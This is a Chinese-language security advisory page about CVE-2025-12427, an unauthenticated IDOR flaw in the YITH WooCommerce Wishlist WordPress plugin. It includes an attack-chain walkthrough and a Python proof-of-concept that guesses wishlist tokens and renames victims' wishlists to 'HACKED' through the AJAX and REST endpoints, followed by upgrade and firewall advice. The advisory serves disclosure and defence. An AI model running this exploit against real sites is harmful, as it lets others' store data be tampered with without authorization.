IPBUF安全漏洞报告
English
CVE-2025-12427 CVSS 5.3 中危

CVE-2025-12427 | YITH WooCommerce Wishlist IDOR漏洞致未授权篡改

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12427
漏洞类型
不安全直接对象引用(IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YITH WooCommerce Wishlist WordPress插件

相关标签

IDORYITH WooCommerce WishlistWordPress插件未授权访问REST API漏洞AJAX漏洞愿望清单篡改CVE-2025-12427

漏洞概述

CVE-2025-12427是WordPress平台YITH WooCommerce Wishlist插件中的一个中等严重性安全漏洞。该漏洞源于REST API端点和AJAX处理器中缺少对用户控制键的验证,导致存在不安全直接对象引用(IDOR)问题。攻击者可以在无需任何认证的情况下,发现任意用户的愿望清单令牌ID,并进一步在未经授权的情况下重命名受害者的愿望清单。此漏洞影响版本至4.10.0(含)。对于多用户电商网站,攻击者可利用此漏洞进行网站篡改、社会工程攻击、大规模数据篡改和用户画像收集等恶意活动,严重威胁网站完整性和用户隐私安全。

技术细节

该漏洞的根本原因在于YITH WooCommerce Wishlist插件的REST API控制器(class-yith-wcwl-rest-v1-lists-controller.php)和AJAX处理器(class-yith-wcwl-ajax-handler.php)中,对用户提交的wishlist token缺乏有效的所有权验证。攻击者通过REST API端点(如/api/v1/lists/{token})或AJAX接口发送请求时,程序仅根据token进行操作,而未验证当前用户是否有权访问或修改该wishlist。具体技术细节包括:1)REST API控制器第56行和第97行直接使用用户提供的wishlist ID/token进行数据库查询;2)AJAX处理器第265行和第38行同样存在类似问题;3)缺少current_user检查或owner验证逻辑。攻击者可通过枚举或猜测token格式来获取有效token,随后发送修改请求(如重命名wishlist)即可成功执行,实现对任意用户wishlist的未授权操作。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者通过分析REST API端点(/wp-json/yith-wcwl/v1/lists)或猜测token格式,发现目标用户的wishlist token ID
STEP 2
步骤2
构造恶意请求:攻击者构造包含目标wishlist token的AJAX请求(如yith_wcwl_rename_wishlist action)或REST API PATCH请求
STEP 3
步骤3
绕过验证:由于插件未验证当前用户是否为wishlist所有者,攻击者无需任何认证即可提交请求
STEP 4
步骤4
执行未授权操作:服务器根据攻击者提供的token直接修改对应wishlist名称,如重命名为"HACKED"
STEP 5
步骤5
扩大攻击:攻击者可批量自动化此过程,对多用户电商网站进行大规模篡改、社会工程攻击或用户画像收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12427 PoC - YITH WooCommerce Wishlist IDOR # Discover wishlist token and rename victim's wishlist import requests import json TARGET_URL = "https://vulnerable-site.com/wp-json/yith-wcwl/v1/lists" AJAX_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" # Step 1: Discover user wishlist token via REST API def discover_wishlist_token(user_id): """Enumerate wishlist tokens by guessing token patterns""" headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # May not be required for public endpoints } # Try common token patterns token_patterns = [ f"user_{user_id}_wishlist", f"{user_id}_default", f"wishlist_{user_id}" ] for token in token_patterns: response = requests.get(f"{TARGET_URL}/{token}", headers=headers) if response.status_code == 200: return token return None # Step 2: Rename victim's wishlist via AJAX (IDOR exploit) def rename_wishlist(token, new_name): """Exploit IDOR to rename any user's wishlist without authorization""" data = { "action": "yith_wcwl_rename_wishlist", "wishlist_id": token, "wishlist_name": new_name, "nonce": "" # May not be required or can be bypassed } response = requests.post(AJAX_URL, data=data) return response.status_code == 200 # Step 3: Rename via REST API def rename_via_rest_api(token, new_name): """Alternative: Rename wishlist via REST API""" headers = { "Content-Type": "application/json" } payload = {"name": new_name} response = requests.patch( f"{TARGET_URL}/{token}", headers=headers, json=payload ) return response.status_code == 200 # Main execution if __name__ == "__main__": # Example: Target user ID 123 user_id = 123 new_wishlist_name = "HACKED - Defaced Wishlist" print(f"[*] Discovering wishlist token for user {user_id}...") token = discover_wishlist_token(user_id) if token: print(f"[+] Found token: {token}") print(f"[*] Attempting to rename wishlist to: {new_wishlist_name}") if rename_wishlist(token, new_wishlist_name): print("[+] SUCCESS: Wishlist renamed via AJAX!") elif rename_via_rest_api(token, new_wishlist_name): print("[+] SUCCESS: Wishlist renamed via REST API!") else: print("[-] FAILED: Could not rename wishlist") else: print("[-] FAILED: Could not discover wishlist token")

影响范围

YITH WooCommerce Wishlist < 4.10.0
YITH WooCommerce Wishlist <= 4.10.0 (所有版本)

防御指南

临时缓解措施
立即将YITH WooCommerce Wishlist插件升级到4.10.1或最新版本。如暂时无法升级,可在Web应用防火墙(WAF)层面限制对/wp-json/yith-wcwl/和admin-ajax.php?action=yith_wcwl_*端点的异常访问,同时监控日志中的可疑wishlist重命名操作。建议审查用户wishlist是否被非法篡改,并通知受影响的用户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表